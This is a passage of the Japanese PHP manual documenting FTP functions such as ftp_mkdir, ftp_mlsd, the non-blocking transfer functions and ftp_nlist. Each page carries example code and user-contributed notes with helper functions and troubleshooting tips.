    $conn_id = ftp_connect($server) or die("ERROR:Could not connect to $server");

    // login
    $login_result = ftp_login($conn_id, $login, $pwd);

    //  get the last modified time for our file
    $buff = ftp_mdtm($conn_id, $filename);

    // close the connection
    ftp_close($conn_id);

    if ($buff != -1) {
        // somefile.txt was last modified on: March 26 2003 14:16:41.
        return "$filename was last modified on : " . date("F d Y H:i:s.", $buff);
    } else {
        return "ERROR: Could not retrieve mdtime";
    }
}

$filename='example.csv';
$server='ftp.example.nl';
$login='supersecureloginhere';
$pwd='supersecurepwd';

$mtime=getMtime($filename, $server, $login, $pwd);
echo $mtime;
Jaytop 12-Jun-2005 12:51
Seems to work with directories as well on my Win32 box.
wseibert at hxcorp dot com 04-Nov-2004 12:55
When trying to get the modified time of a file that has spaces in it, ftp_mdtm will fail on some FTP servers.  If this happens, surround the file name with quotes.

$file_name = "my index.html";

$file_modtime = ftp_mdtm($connection, '"'.$file_name.'"')


ディレクトリを作成する

  • ≪ ftp_mdtm
  • ftp_mlsd ≫
  • PHP Manual
  • FTP 関数
  • ディレクトリを作成する

ftp_mkdir

(PHP 4, PHP 5, PHP 7, PHP 8)

ftp_mkdir — ディレクトリを作成する

説明

ftp_mkdir ( resource $ftp , string $directory ) : string|false

FTP サーバー上に、指定した directory を作成します。

パラメータ

ftp

FTP 接続のリンク ID 。

directory

作成されるディレクトリの名前。

返り値

成功した時には新規に作成したディレクトリ名、エラー時に false を返します。

エラー / 例外

ディレクトリが既に存在していたり、 パーミッションによってディレクトリが作成できなかった場合、 E_WARNING レベルの警告が発生します。

例

例1 ftp_mkdir() の例

<?php

$dir = 'www';

// 接続を確立する
$conn_id = ftp_connect($ftp_server);

// ユーザー名とパスワードでログインする
$login_result = ftp_login($conn_id, $ftp_user_name, $ftp_user_pass);

// ディレクトリ $dir の作成を試みる
if (ftp_mkdir($conn_id, $dir)) {
 echo "successfully created $dir\n";
} else {
 echo "There was a problem while creating $dir\n";
}

// 接続を閉じる
ftp_close($conn_id);
?>

参考

  • ftp_rmdir() - ディレクトリを削除する

User Contributed Notes

postmaster at 250union dot community 13-May-2018 11:25
if(!@ftp_chdir($ftpcon, $part)){
         ftp_mkdir($ftpcon, $part);
         ftp_chdir($ftpcon, $part);
         //ftp_chmod($ftpcon, 0777, $part);
      }

This if part of answer below, if you want working chmod you need to replace it with:

      if(!@ftp_chdir($ftpcon, $part)){
         ftp_mkdir($ftpcon, $part);
         ftp_chmod($ftpcon, 0777, $part);
         ftp_chdir($ftpcon, $part);
      }
4alexr at gmail dot com 07-Nov-2017 11:27
Updated and correct code for making recursive directories:

/**
  * A function to create ftp directories recursively.
  *
  * @param     $ftpcon the ftp connection resource
  * @param     $baseDir
  * @param     $path
  * @param int $mode
  * @return bool
  */
function ftp_mksubdirs($ftpcon, $baseDir, $path, $mode = 0775) {
    $path = dirname($path);

    if ($baseDir !== DIRECTORY_SEPARATOR && strpos($path, $baseDir) !== false) {
        if (empty($path)) {
            // $baseDir equals to $path, it can only mean that this folder already exists
            return false;
        }

        if ($path[0] == DIRECTORY_SEPARATOR) {
            $path = substr($path, 1);
        }
    } else {
        if ($path[0] == DIRECTORY_SEPARATOR) {
            $path = substr($path, 1);
        }
    }

    @ftp_chdir($ftpcon, $baseDir);
    $parts   = explode(DIRECTORY_SEPARATOR, $path);
    $created = [];
    foreach ($parts as $part) {
        if (!@ftp_chdir($ftpcon, $part)) {
            $createdDir = @ftp_mkdir($ftpcon, $part);

            if ($createdDir !== false) {
                ftp_chmod($ftpcon, $mode, $createdDir);
            }

            $created[] = $createdDir;
            @ftp_chdir($ftpcon, $part);
        }
    }

    return !in_array(false, $created);
}
PINAR Musa 11-Jun-2013 08:32
Here's the correct code for making recursive directories:

<?php

// function
function ftp_mksubdirs($ftpcon,$ftpbasedir,$ftpath){
   @ftp_chdir($ftpcon, $ftpbasedir); // /var/www/uploads
   $parts = explode('/',$ftpath); // 2013/06/11/username
   foreach($parts as $part){
      if(!@ftp_chdir($ftpcon, $part)){
         ftp_mkdir($ftpcon, $part);
         ftp_chdir($ftpcon, $part);
         //ftp_chmod($ftpcon, 0777, $part);
      }
   }
}

// usage
$path_of_storage = '/var/www/uploads';
$newftpdir = '2013/06/11/username';

$conn_id = ftp_connect($ftpserver);
ftp_login($conn_id, $login, $pass);
ftp_mksubdirs($conn_id,$path_of_storage,$newftpdir);
ftp_close($conn_id);

?>
butch AT 4RealMedia dot com 12-Sep-2006 11:26
When trying to user the ftp_mkdir, or ftp_chdir I've noticed that some servers like the entire path such as

/usr/local/home/username/sitename/directory/

and other servers, want you to use the path from the initial login, such as just /sitename/directory/

Just wanted to pass this on
vladimir at lukianov dot name 15-Mar-2004 10:28
For recurrent following function work better.
Some ftp servers (like WarFTP) become demented if you'll
try mkdir not from root dir and if path will be relative.
The second if one of dir (like '/') already exist You'll get access denied.

<?php
 function MkDir($path)
  {
   $dir=split("/", $path);
   $path="";
   $ret = true;

   for ($i=0;$i<count($dir);$i++)
   {
       $path.="/".$dir[$i];
       echo "$path\n";
       if(!@ftp_chdir($this->conn_id,$path)){
         @ftp_chdir($this->conn_id,"/");
         if(!@ftp_mkdir($this->conn_id,$path)){
          $ret=false;
          break;
         }
       }
   }
   return $ret;
  }
?>


ディレクトリに存在するファイルの一覧を返す

  • ≪ ftp_mkdir
  • ftp_nb_continue ≫
  • PHP Manual
  • FTP 関数
  • ディレクトリに存在するファイルの一覧を返す

ftp_mlsd

(PHP 7 >= 7.2.0, PHP 8)

ftp_mlsd — ディレクトリに存在するファイルの一覧を返す

説明

ftp_mlsd ( resource $ftp , string $directory ) : array|false

パラメータ

ftp

FTP接続の識別子です。

directory

ファイルの一覧を得るディレクトリ

返り値

成功したときは、指定されたディレクトリに存在するファイル情報を配列で返します。 エラーのときは false を返します。

例

例1 ftp_mlsd() の例

<?php

// 基本的な接続のセットアップ
$conn_id = ftp_connect($ftp_server);

// ユーザー名とパスワードでログイン
$login_result = ftp_login($conn_id, $ftp_user_name, $ftp_user_pass);

// 現在のディレクトリの内容を取得
$contents = ftp_mlsd($conn_id, ".");

// $contents の中身を出力
var_dump($contents);

?>

上の例の出力は、 たとえば以下のようになります。

array(5) {
  [0]=>
  array(8) {
    ["name"]=>
    string(1) "."
    ["modify"]=>
    string(14) "20171212154511"
    ["perm"]=>
    string(7) "flcdmpe"
    ["type"]=>
    string(4) "cdir"
    ["unique"]=>
    string(11) "811U5740002"
    ["UNIX.group"]=>
    string(2) "33"
    ["UNIX.mode"]=>
    string(4) "0755"
    ["UNIX.owner"]=>
    string(2) "33"
  }
  [1]=>
  array(8) {
    ["name"]=>
    string(2) ".."
    ["modify"]=>
    string(14) "20171212154511"
    ["perm"]=>
    string(7) "flcdmpe"
    ["type"]=>
    string(4) "pdir"
    ["unique"]=>
    string(11) "811U5740002"
    ["UNIX.group"]=>
    string(2) "33"
    ["UNIX.mode"]=>
    string(4) "0755"
    ["UNIX.owner"]=>
    string(2) "33"
  }
  [2]=>
  array(8) {
    ["name"]=>
    string(11) "public_html"
    ["modify"]=>
    string(14) "20171211171525"
    ["perm"]=>
    string(7) "flcdmpe"
    ["type"]=>
    string(3) "dir"
    ["unique"]=>
    string(11) "811U5740525"
    ["UNIX.group"]=>
    string(2) "33"
    ["UNIX.mode"]=>
    string(4) "0755"
    ["UNIX.owner"]=>
    string(2) "33"
  }
  [3]=>
  array(8) {
    ["name"]=>
    string(10) "public_ftp"
    ["modify"]=>
    string(14) "20171211174536"
    ["perm"]=>
    string(7) "flcdmpe"
    ["type"]=>
    string(3) "dir"
    ["unique"]=>
    string(11) "811U57405EE"
    ["UNIX.group"]=>
    string(2) "33"
    ["UNIX.mode"]=>
    string(4) "0755"
    ["UNIX.owner"]=>
    string(2) "33"
  }
  [4]=>
  array(8) {
    ["name"]=>
    string(3) "www"
    ["modify"]=>
    string(14) "www"
    ["perm"]=>
    string(7) "flcdmpe"
    ["type"]=>
    string(3) "dir"
    ["unique"]=>
    string(11) "811U5740780"
    ["UNIX.group"]=>
    string(2) "33"
    ["UNIX.mode"]=>
    string(4) "0755"
    ["UNIX.owner"]=>
    string(2) "33"
  }
}

参考

  • ftp_rawlist() - 指定したディレクトリの詳細なファイル一覧を返す
  • ftp_nlist() - 指定したディレクトリのファイルの一覧を返す

User Contributed Notes

fantastory dot net at gmail dot com 31-Jan-2021 06:22
When running from script the function may require ftp_pasv, for swithching server to pasive mode.

If you are behind firewall ftp_mlsd will return FALSE otherwise.


ファイルの取得/送信を継続する（非ブロッキング）

  • ≪ ftp_mlsd
  • ftp_nb_fget ≫
  • PHP Manual
  • FTP 関数
  • ファイルの取得/送信を継続する（非ブロッキング）

ftp_nb_continue

(PHP 4 >= 4.3.0, PHP 5, PHP 7, PHP 8)

ftp_nb_continue — ファイルの取得/送信を継続する（非ブロッキング）

説明

ftp_nb_continue ( resource $ftp ) : int

非ブロッキングモードで、ファイルの取得/送信を継続します。

パラメータ

ftp

FTP 接続のリンク ID 。

返り値

FTP_FAILED、FTP_FINISHED あるいは FTP_MOREDATA を返します。

例

例1 ftp_nb_continue() の例

<?php

// ダウンロードを開始する
$ret = ftp_nb_get($my_connection, "test", "README", FTP_BINARY);
while ($ret == FTP_MOREDATA) {

   // ダウンロードを継続する...
   $ret = ftp_nb_continue($my_connection);
}
if ($ret != FTP_FINISHED) {
   echo "There was an error downloading the file...";
   exit(1);
}
?>

User Contributed Notes

There are no user contributed notes for this page.


FTP サーバーからファイルをダウンロードし、オープン中のファイルに保存する（非ブロッキング）

  • ≪ ftp_nb_continue
  • ftp_nb_fput ≫
  • PHP Manual
  • FTP 関数
  • FTP サーバーからファイルをダウンロードし、オープン中のファイルに保存する（非ブロッキング）

ftp_nb_fget

(PHP 4 >= 4.3.0, PHP 5, PHP 7, PHP 8)

ftp_nb_fget — FTP サーバーからファイルをダウンロードし、オープン中のファイルに保存する（非ブロッキング）

説明

ftp_nb_fget ( resource $ftp , resource $stream , string $remote_filename , int $mode = FTP_BINARY , int $offset = 0 ) : int

ftp_nb_fget() は、FTP サーバーからリモートファイルを取得します。

ftp_fget() との違いは、この関数が 非同期処理でファイルを取得するということです。そのため、 ファイルをダウンロードしている最中に別の処理を行うことができます。

パラメータ

ftp

FTP 接続のリンク ID 。

stream

オープンされているファイルのポインタ。ここにデータが保存されます。

remote_filename

リモートファイルのパス。

mode

転送モード。FTP_ASCII または FTP_BINARY のどちらかを指定する必要があります。

offset

ダウンロードを開始する、リモートファイル内の位置。

返り値

FTP_FAILED、FTP_FINISHED あるいは FTP_MOREDATA を返します。

変更履歴

バージョン | 説明
7.3.0 | mode パラメータはオプションになりました。 これより前のバージョンでは、このパラメータは必須でした。

例

例1 ftp_nb_fget() の例

<?php

// ファイルをオープンする
$file = 'index.php';
$fp = fopen($file, 'w');

$conn_id = ftp_connect($ftp_server);

$login_result = ftp_login($conn_id, $ftp_user_name, $ftp_user_pass);

// ダウンロードを開始する
$ret = ftp_nb_fget($conn_id, $fp, $file, FTP_BINARY);
while ($ret == FTP_MOREDATA) {

   // 何かお好みの動作を
   echo ".";

   // ダウンロードを継続する...
   $ret = ftp_nb_continue($conn_id);
}
if ($ret != FTP_FINISHED) {
   echo "There was an error downloading the file...";
   exit(1);
}

// ファイルポインタを閉じる
fclose($fp);
?>

参考

  • ftp_nb_get() - FTP サーバーからファイルを取得し、ローカルファイルに書き込む（非ブロッキング）
  • ftp_nb_continue() - ファイルの取得/送信を継続する（非ブロッキング）
  • ftp_fget() - FTP サーバーからファイルをダウンロードし、オープン中のファイルに保存する
  • ftp_get() - FTP サーバーからファイルをダウンロードする

User Contributed Notes

pilif at pilif dot ch 16-Nov-2004 05:53
If you want to monitor the progress of the download, you may use the filesize()-Function.

But note: The results of said function are cached, so you'll always get 0 bytes. Call clearstatcache() before calling filesize() to determine the actual size of the downloaded file.

This may have performance implications, but if you want to provide the information, there's no way around it.

Above sample extended:

<?php
// get the size of the remote file
$fs = ftp_size($my_connection, "test");

// Initate the download
$ret = ftp_nb_get($my_connection, "test", "README", FTP_BINARY);
while ($ret == FTP_MOREDATA) {

   clearstatcache(); // <- this is important
   $dld = filesize($locfile);
   if ( $dld > 0 ){
       // calculate percentage
       $i = ($dld/$fs)*100;
       printf("\r\t%d%% downloaded", $i);
   }

   // Continue downloading...
   $ret = ftp_nb_continue ($my_connection);
}
if ($ret != FTP_FINISHED) {
   echo "There was an error downloading the file...";
   exit(1);
}
?>

Philip


オープン中のファイルを FTP サーバーに保存する（非ブロッキング）

  • ≪ ftp_nb_fget
  • ftp_nb_get ≫
  • PHP Manual
  • FTP 関数
  • オープン中のファイルを FTP サーバーに保存する（非ブロッキング）

ftp_nb_fput

(PHP 4 >= 4.3.0, PHP 5, PHP 7, PHP 8)

ftp_nb_fput — オープン中のファイルを FTP サーバーに保存する（非ブロッキング）

説明

ftp_nb_fput ( resource $ftp , string $remote_filename , resource $stream , int $mode = FTP_BINARY , int $offset = 0 ) : int

ftp_nb_fput() は、ファイルポインタが指すデータを FTP サーバー上のリモートファイルへアップロードします。

ftp_fput() との違いは、この関数が 非同期処理でファイルをアップロードするということです。そのため、 ファイルをアップロードしている最中に別の処理を行うことができます。

パラメータ

ftp

FTP 接続のリンク ID 。

remote_filename

リモートファイルのパス。

stream

ローカルでオープンされているファイルのポインタ。 ファイルの終端まで進むと読み込みが終了します。

mode

転送モード。FTP_ASCII または FTP_BINARY のどちらかを指定する必要があります。

offset

リモートファイル内での、アップロード開始位置。

返り値

FTP_FAILED、FTP_FINISHED あるいは FTP_MOREDATA を返します。

変更履歴

バージョン | 説明
7.3.0 | mode パラメータはオプションになりました。 これより前のバージョンでは、このパラメータは必須でした。

例

例1 ftp_nb_fput() の例

<?php

$file = 'index.php';

$fp = fopen($file, 'r');

$conn_id = ftp_connect($ftp_server);

$login_result = ftp_login($conn_id, $ftp_user_name, $ftp_user_pass);

// アップロードを開始する
$ret = ftp_nb_fput($conn_id, $file, $fp, FTP_BINARY);
while ($ret == FTP_MOREDATA) {

   // 何かお好みの動作を
   echo ".";

   // アップロードを継続する...
   $ret = ftp_nb_continue($conn_id);
}
if ($ret != FTP_FINISHED) {
   echo "There was an error uploading the file...";
   exit(1);
}

fclose($fp);
?>

参考

  • ftp_nb_put() - FTP サーバーにファイルを保存する（非ブロッキング）
  • ftp_nb_continue() - ファイルの取得/送信を継続する（非ブロッキング）
  • ftp_put() - FTP サーバーにファイルをアップロードする
  • ftp_fput() - オープン中のファイルを FTP サーバーにアップロードする

User Contributed Notes

marcopardo at gmx dot de 12-Mar-2020 07:04
FTP_FAILED = 0
FTP_FINISHED = 1
FTP_MOREDATA = 2
jascha at bluestatedigital dot com 27-Dec-2004 06:45
There is an easy way to check progress while uploading a file.  Just use the ftell function to watch the position in the file handle.  ftp_nb_fput will increment the position as the file is transferred.

Example:

<?

    $fh = fopen ($file_name, "r");
    $ret = ftp_nb_fput ($ftp, $file_name, $fh, FTP_BINARY);
    while ($ret == FTP_MOREDATA) {
        print ftell ($fh)."\n";
        $ret = ftp_nb_continue($ftp);
    }
    if ($ret != FTP_FINISHED) {
        print ("error uploading\n");
        exit(1);
    }
    fclose($fh);

?>

This will print out the number of bytes transferred thus far, every time the loop runs.  Coverting this into a percentage is simply a matter of dividing the number of bytes transferred by the total size of the file.


FTP サーバーからファイルを取得し、ローカルファイルに書き込む（非ブロッキング）

  • ≪ ftp_nb_fput
  • ftp_nb_put ≫
  • PHP Manual
  • FTP 関数
  • FTP サーバーからファイルを取得し、ローカルファイルに書き込む（非ブロッキング）

ftp_nb_get

(PHP 4 >= 4.3.0, PHP 5, PHP 7, PHP 8)

ftp_nb_get — FTP サーバーからファイルを取得し、ローカルファイルに書き込む（非ブロッキング）

説明

ftp_nb_get ( resource $ftp , string $local_filename , string $remote_filename , int $mode = FTP_BINARY , int $offset = 0 ) : int

ftp_nb_get() は FTP サーバーからリモートファイルを取得し、 それをローカルファイルに保存します。

ftp_get() との違いは、この関数が 非同期処理でファイルを取得するということです。そのため、 ファイルをダウンロードしている最中に別の処理を行うことができます。

パラメータ

ftp

FTP 接続のリンク ID 。

local_filename

ローカルファイルのパス（ファイルがすでに存在する場合、上書きされます）。

remote_filename

リモートファイルのパス。

mode

転送モード。FTP_ASCII または FTP_BINARY のどちらかを指定する必要があります。

offset

ダウンロードを開始する、リモートファイル内の位置。

返り値

FTP_FAILED、FTP_FINISHED あるいは FTP_MOREDATA を返します。

変更履歴

バージョン | 説明
7.3.0 | mode パラメータはオプションになりました。 これより前のバージョンでは、このパラメータは必須でした。

例

例1 ftp_nb_get() の例

<?php

// ダウンロードを開始する
$ret = ftp_nb_get($my_connection, "test", "README", FTP_BINARY);
while ($ret == FTP_MOREDATA) {

   // 何かお好みの動作を
   echo ".";

   // ダウンロードを継続する...
   $ret = ftp_nb_continue($my_connection);
}
if ($ret != FTP_FINISHED) {
   echo "There was an error downloading the file...";
   exit(1);
}
?>

例2 ftp_nb_get() でダウンロードを再開する

<?php

// 開始
$ret = ftp_nb_get($my_connection, "test", "README", FTP_BINARY,
                      filesize("test"));
// あるいは: $ret = ftp_nb_get($my_connection, "test", "README",
//                             FTP_BINARY, FTP_AUTORESUME);
while ($ret == FTP_MOREDATA) {

   // 何かお好みの動作を
   echo ".";

   // ダウンロードを継続する...
   $ret = ftp_nb_continue($my_connection);
}
if ($ret != FTP_FINISHED) {
   echo "There was an error downloading the file...";
   exit(1);
}
?>

例3 ftp_nb_get() を用い、ファイルの 100 バイト目以降から ダウンロードを再開する

<?php

// 自動シークを無効にする
ftp_set_option($my_connection, FTP_AUTOSEEK, false);

// 開始
$ret = ftp_nb_get($my_connection, "newfile", "README", FTP_BINARY, 100);
while ($ret == FTP_MOREDATA) {

   /* ... */

   // ダウンロードを継続する...
   $ret = ftp_nb_continue($my_connection);
}
?>

上の例では、newfile のサイズは FTP サーバー上の README より 100 バイト小さくなります。なぜなら ダウンロードの開始位置を 100 バイトずらしたからです。 もし FTP_AUTOSEEK を無効にしなければ、 newfile の最初の 100 バイトは '\0' で埋められます。

参考

  • ftp_nb_fget() - FTP サーバーからファイルをダウンロードし、オープン中のファイルに保存する（非ブロッキング）
  • ftp_nb_continue() - ファイルの取得/送信を継続する（非ブロッキング）
  • ftp_fget() - FTP サーバーからファイルをダウンロードし、オープン中のファイルに保存する
  • ftp_get() - FTP サーバーからファイルをダウンロードする

User Contributed Notes

passerbyxp at gmail dot com 04-Jan-2012 08:24
Note that you may have to keep calling ftp_nb_continue in order to complete the download. For example, if you do this:

<?php
ftp_nb_get($conn,$localfile,$remotefile,FTP_BINARY)
//do some LONG time work
while(ftp_nb_continue($conn)!=FTP_FINISHED){}
?>

Your local file may only contains a few kilobytes and the later ftp_nb_continue will keep raising warning of no more data (due to connection time out, I guess).

So you may want to do this instead:

<?php
$dl=ftp_nb_get($conn,$localfile,$remotefile,FTP_BINARY)
//part of long time work
if(ftp_nb_continue($conn)==FTP_MOREDATA) {}
//part of long time work
if(ftp_nb_continue($conn)==FTP_MOREDATA) {}
//continue to do this until you finish the long time work
while(ftp_nb_continue($conn)==FTP_MOREDATA){}
?>

This happened on my Windows XP + PHP 5.3.8 under CLI. Hope this helps someone.


FTP サーバーにファイルを保存する（非ブロッキング）

  • ≪ ftp_nb_get
  • ftp_nlist ≫
  • PHP Manual
  • FTP 関数
  • FTP サーバーにファイルを保存する（非ブロッキング）

ftp_nb_put

(PHP 4 >= 4.3.0, PHP 5, PHP 7, PHP 8)

ftp_nb_put — FTP サーバーにファイルを保存する（非ブロッキング）

説明

ftp_nb_put ( resource $ftp , string $remote_filename , string $local_filename , int $mode = FTP_BINARY , int $offset = 0 ) : int|false

ftp_nb_put() はローカルファイルを FTP サーバーに保存します。

ftp_put() との違いは、この関数が 非同期処理でファイルをアップロードするということです。そのため、 ファイルをアップロードしている最中に別の処理を行うことができます。

パラメータ

ftp

FTP 接続のリンク ID 。

remote_filename

リモートファイルのパス。

local_filename

ローカルファイルのパス。

mode

転送モード。FTP_ASCII または FTP_BINARY のどちらかを指定する必要があります。

offset

リモートファイル内での、アップロード開始位置。

返り値

FTP_FAILED、FTP_FINISHED あるいは FTP_MOREDATA を返します。 ローカルファイルのオープンに失敗した場合、false を返します。

変更履歴

バージョン | 説明
7.3.0 | mode パラメータはオプションになりました。 これより前のバージョンでは、このパラメータは必須でした。

例

例1 ftp_nb_put() の例

<?php

// アップロードを開始する
$ret = ftp_nb_put($my_connection, "test.remote", "test.local", FTP_BINARY);
while ($ret == FTP_MOREDATA) {

   // 何かお好みの動作を
   echo ".";

   // アップロードを継続する...
   $ret = ftp_nb_continue($my_connection);
}
if ($ret != FTP_FINISHED) {
   echo "There was an error uploading the file...";
   exit(1);
}
?>

例2 ftp_nb_put() でアップロードを再開する

<?php

// 開始
$ret = ftp_nb_put($my_connection, "test.remote", "test.local",
                      FTP_BINARY, ftp_size("test.remote"));
// あるいは: $ret = ftp_nb_put($my_connection, "test.remote", "test.local",
//                             FTP_BINARY, FTP_AUTORESUME);

while ($ret == FTP_MOREDATA) {

   // 何かお好みの動作を
   echo ".";

   // アップロードを継続する...
   $ret = ftp_nb_continue($my_connection);
}
if ($ret != FTP_FINISHED) {
   echo "There was an error uploading the file...";
   exit(1);
}
?>

参考

  • ftp_nb_fput() - オープン中のファイルを FTP サーバーに保存する（非ブロッキング）
  • ftp_nb_continue() - ファイルの取得/送信を継続する（非ブロッキング）
  • ftp_put() - FTP サーバーにファイルをアップロードする
  • ftp_fput() - オープン中のファイルを FTP サーバーにアップロードする

User Contributed Notes

parasc at chetu dot com 21-Aug-2018 02:20
Hi Everybody,
ftp_put not working in client server, but it working properly on my local  system.
Issue on client server:
Production.ERROR: ftp_put(): I won't open a connection to 172.31.17.181 (only to 52.33.186.63).

My script upload a file from local system to remote server.

Thanks
Paras Chauhan
WebSee.ru 10-Aug-2009 06:01
How to realize the possibility of transferring data from one FTP-server to another via FXP:

<?php
// ...

$ansver = ftp_raw($ftp_conn1, 'PASV');

if (intval($ansver[0]) == 227) {
    ftp_raw($ftp_conn2, 'PORT '.substr($ansver[0], $n = strpos($ansver[0], '(') + 1, strpos($m[0], ')', $n) - $n));
    ftp_raw($ftp_conn1, 'STOR '.$filename); // need asynchronously (non-blocking)
    ftp_raw($ftp_conn2, 'RETR '.$filename);
}
?>
kaiohken1982 at hotmail dot com 28-Nov-2006 04:53
Hi,
I tried to use both ftp_put() and ftp_nb_put() adding the
variable $start = date("Y:m:d h:i:s"); at the begin of the script and the variable $end = date("Y:m:d h:i:s"); at its end, after the file upload function.
With the gprs connection I'm now using and trying to upload a .jpg file of 67,5 kb the time difference between $start and $end was 40 seconds in both cases, so I can suppose that there is no difference between these upload function.
The difference comes if you put anything inside the while ($ftp_upload == FTP_MOREDATA) loop.
I hope this note can help.
Regards
Ariel asphp at dsgml dot com 12-Jul-2006 12:11
Don't add a sleep() inside the loop. If you do you will severely slow down the upload.

In my tests, each time through the loop it send about 2.5K, looping about 220 times per second. (Which is very little.)

You won't necessarily get the same numbers as me per loop, but clearly PHP does it's own management of the loop so that you don't consume all the CPU on the server.
brandon dot farber at gmail dot com 01-Feb-2006 03:14
I couldn't see this noted anywhere...

ftp_nb_put apparently takes a much much longer time to upload the file than ftp_put (I haven't done any packet sniffing or logging tests to find out why).  I was using a script, nearly identical to the example above, and a 100KB file had only uploaded 3.99KB after about 8 minutes!  The php script naturally timed out before it was complete.

I changed my function to use ftp_put, got rid of the loop to check FTP_MOREDATA (as you will see in the example above), and the same script uploaded 2.2MB within 30 seconds with no other changes.

If you're using this function instead of ftp_put *purely to try to speed up your script* and it's taking a long time, you might want to try ftp_put instead.
ted at hostleft dot com 11-Jan-2005 01:13
If you receive an error like:

Warning:  ftp_nb_put(): Unable to service PORT commands in /path/to/file.php on line 27

verify whether you need to be in PASV mode. You can go into PASV mode by declaring

>  ftp_pasv($cnx,TRUE);
manu at manux dot org 07-Jan-2005 11:35
When using non blocking functions if you try to disconnect while your non blocking operation is in progress the disconnect command will not work until the operation is not finished.


指定したディレクトリのファイルの一覧を返す

  • ≪ ftp_nb_put
  • ftp_pasv ≫
  • PHP Manual
  • FTP 関数
  • 指定したディレクトリのファイルの一覧を返す

ftp_nlist

(PHP 4, PHP 5, PHP 7, PHP 8)

ftp_nlist — 指定したディレクトリのファイルの一覧を返す

説明

ftp_nlist ( resource $ftp , string $directory ) : array|false

パラメータ

ftp

FTP 接続のリンク ID 。

directory

一覧を表示するディレクトリ。このパラメータには引数を含めることができます。 例: ftp_nlist($conn_id, "-la /your/dir"); このパラメータはエスケープ処理されません。スペースやその他の文字を含む ファイル名では問題が発生する可能性があることに注意してください。

返り値

成功した場合は指定したディレクトリ内のファイル名の配列を、 エラー時には false を返します。

例

例1 ftp_nlist() の例

<?php

// 接続を確立する
$conn_id = ftp_connect($ftp_server);

// ユーザー名とパスワードでログインする
$login_result = ftp_login($conn_id, $ftp_user_name, $ftp_user_pass);

// カレントディレクトリの内容を得る
$contents = ftp_nlist($conn_id, ".");

// $contents を出力する
var_dump($contents);

?>

上の例の出力は、 たとえば以下のようになります。

array(3) {
  [0]=>
  string(11) "public_html"
  [1]=>
  string(10) "public_ftp"
  [2]=>
  string(3) "www"

参考

  • ftp_rawlist() - 指定したディレクトリの詳細なファイル一覧を返す
  • ftp_mlsd() - ディレクトリに存在するファイルの一覧を返す

User Contributed Notes

gerben at gerbs dot net 26-Feb-2018 06:39
Be aware that since PHP 7.2 a new function is available, that returns the list of files as an array with all details ready to use: http://php.net/manual/en/function.ftp-mlsd.php
fsa at dwarf dot dk 18-Mar-2016 09:19
So I wrote a simple function using ftp_nlist() to recursively list only files in a specified directory.

/**
 * Returns a list of files in the given directory, excluding directories.
 *
 * @param resource $ftp_stream
 *   The link identifier of the FTP connection.
 * @param string   $directory
 *   The directory to be listed.
 *   Note that this parameter isn't escaped so there may be some issues with filenames containing spaces and other characters.
 * @param bool     $recursive
 *   (optional) If set to TRUE, the issued command will be done recursively.
 *
 * @return array
 *   Returns an array of filenames from the specified directory.
 */
function ftp_files_list($ftp_stream, $directory, $recursive = false) {
  $files = array();

  $list = ftp_nlist($ftp_stream, $directory);
  if (is_array($list)) {
    // Strip away dot directories.
    $list = array_slice($list, 2);

    foreach ($list as $filename) {
      $path = $directory . '/' . $filename;
      // If size equals -1 it's a directory.
      if (ftp_size($ftp_stream, $path) === -1) {
        if ($recursive) {
          $files = array_merge($files, ftp_files_list($ftp_stream, $path, $recursive));
        }
      } else {
        // Strip away root directory path to ensure all file paths are relative.
        $files[] = substr($path, strpos($path, '/') + 1);
      }
    }
  }

  return $files;
}
Jacob Slomp 02-May-2012 03:58
Hi,

I wrote this function to get the file list, I tested it only with php5 with linux ftp. And works fine for me.

it will return an array with the name, type (file/folder), owner, owner_id and rights.

<?php
    function ftp_get_filelist($con, $path){
        $files = array();
        $contents = ftp_rawlist ($con, $path);
        $a = 0;

        if(count($contents)){
            foreach($contents as $line){

                preg_match("#([drwx\-]+)([\s]+)([0-9]+)([\s]+)([0-9]+)([\s]+)([a-zA-Z0-9\.]+)([\s]+)([0-9]+)([\s]+)([a-zA-Z]+)([\s ]+)([0-9]+)([\s]+)([0-9]+):([0-9]+)([\s]+)([a-zA-Z0-9\.\-\_ ]+)#si", $line, $out);

                if($out[3] != 1 && ($out[18] == "." || $out[18] == "..")){
                    // do nothing
                } else {
                    $a++;
                    $files[$a]['rights'] = $out[1];
                    $files[$a]['type'] = $out[3] == 1 ? "file":"folder";
                    $files[$a]['owner_id'] = $out[5];
                    $files[$a]['owner'] = $out[7];
                    $files[$a]['date_modified'] = $out[11]." ".$out[13] . " ".$out[13].":".$out[16]."";
                    $files[$a]['name'] = $out[18];
                }
            }
        }
        return $files;
    }
?>

Greets,

Jacob
vijay dot mahrra at fronter dot com 17-Mar-2011 02:35
We needed to get a list of all files in all subdirectories and couldn't see a method to do this so we wrote our own:

<?php
/**
 * ftpRecursiveFileListing
 *
 * Get a recursive listing of all files in all subfolders given an ftp handle and path
 *
 * @param resource $ftpConnection  the ftp connection handle
 * @param string $path  the folder/directory path
 * @return array $allFiles the list of files in the format: directory => $filename
 * @author Niklas Berglund
 * @author Vijay Mahrra
 */
function ftpRecursiveFileListing($ftpConnection, $path) {
    static $allFiles = array();
    $contents = ftp_nlist($ftpConnection, $path);

    foreach($contents as $currentFile) {
        // assuming its a folder if there's no dot in the name
        if (strpos($currentFile, '.') === false) {
            ftpRecursiveFileListing($ftpConnection, $currentFile);
        }
        $allFiles[$path][] = substr($currentFile, strlen($path) + 1);
    }
    return $allFiles;
}
?>
zgardner at allofe dot com 28-Nov-2010 05:46
While running WAMP (Vista, Apache 2.21, MySQL 5.1.36, PHP 5.3) and recursively downloading files from a LAMP FTP server (Ubuntu 8.04, Apache 2.2.8, MySQL 5.1.51a, PHP 5.2.4, VSFPTD), I would find that my script stops downloading files after a while. I traced it to the call to ftp_nlist halting the script.

To solve this, I did a ftp_pasv($ftp, true). There's nothing in the VSFTPD, Apache, or PHP error logs on either the client or the server. Very strange.
Anonymous 29-Dec-2009 09:39
Some complain that ftp_nlist, always return FALSE. I did experience this behavior myself, until I used ftp_pasv, which is useful if your client is behind a firewall (which most clients are now), then ftp_nlist worked just fine. I don't really know what are all the implications of using ftp_pasv, but if you read or experience that ftp_nlist, ftp_get, ftp_nb_get doesn't work, try adding the following:

ftp_pasv($conn_id,true);
juhakala at gmail dot com 07-May-2008 03:23
I noticed that this function won't work if working path is different, because $dir keeps value of whole path string. That's why adding basename()-function strips the path and this function will work also sub folders, not only in root folder.

function ftp_is_dir($dir) {
  global $ftp_connect;
  if (ftp_chdir($ftp_connect, basename($dir))) {
    ftp_chdir($ftp_connect, '..');
    return true;
  } else {
    return false;
  }
}
